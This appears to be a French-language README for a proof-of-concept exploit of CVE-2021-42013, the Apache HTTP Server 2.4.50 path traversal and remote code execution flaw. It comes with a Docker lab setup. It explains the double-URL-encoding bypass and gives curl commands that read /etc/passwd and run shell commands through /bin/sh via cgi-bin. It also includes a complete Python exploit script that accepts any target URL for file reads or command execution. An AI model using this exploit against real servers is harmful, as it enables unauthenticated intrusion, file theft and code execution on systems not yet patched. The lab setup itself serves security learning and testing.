
Exploit de preuve de concept pour CVE-2021-42013 vulnérabilité de traversée de chemin et d'exécution de code à distance du serveur HTTP Apache, avec environnement de laboratoire Docker et script PoC Python.
Contributeur
Un bug dans le traitement de normalisation des chemins d'Apache HTTP Server 2.4.50 permet de lire des fichiers arbitraires ou d'exécuter du code à distance sans authentification.
Il résulte d'un correctif incomplet de CVE-2021-41773 et contourne le blocage de chemin d'Apache via un double encodage URL (%%32%65).
Pour que CVE-2021-42013 fonctionne, les conditions suivantes doivent être remplies.
docker-compose up -d
Pour vérifier que l'environnement de test est bien lancé, exécutez le code ci-dessous.
docker-compose ps

Si le serveur s'exécute correctement, vous pouvez accéder à http://localhost:8080.
Pour remonter d'un dossier, on utilise ../, mais Apache bloque ces caractères. Pour contourner ce blocage, on peut utiliser à la place la valeur encodée de ., soit 2e. Apache version 2.4.50 décode l'encodage %2e puis effectue la vérification, donc utiliser %2e2e fait que les caractères sont bloqués comme ../. C'est pourquoi il faut contourner ce filtrage via un double encodage avec %%32%65.
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

Dans un environnement où CGI est disponible, remplacer la dernière partie par /bin/sh permet d'obtenir un RCE.
curl -s --path-as-is -X POST \
--data "echo Content-Type: text/plain; echo; id; uname -a" \
"http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"

#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse
def exploit(target_url, mode, arg):
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or 80
trav = "%%32%65%%32%65/" * 4
if mode == "read":
path = f"/static/{trav}{arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("GET", path)
else:
path = f"/cgi-bin/{trav}bin/sh"
body = f"echo Content-Type: text/plain; echo; {arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
result = conn.getresponse().read().decode("utf-8", "replace")
conn.close()
return result
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
sys.exit(1)
print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

docker-compose down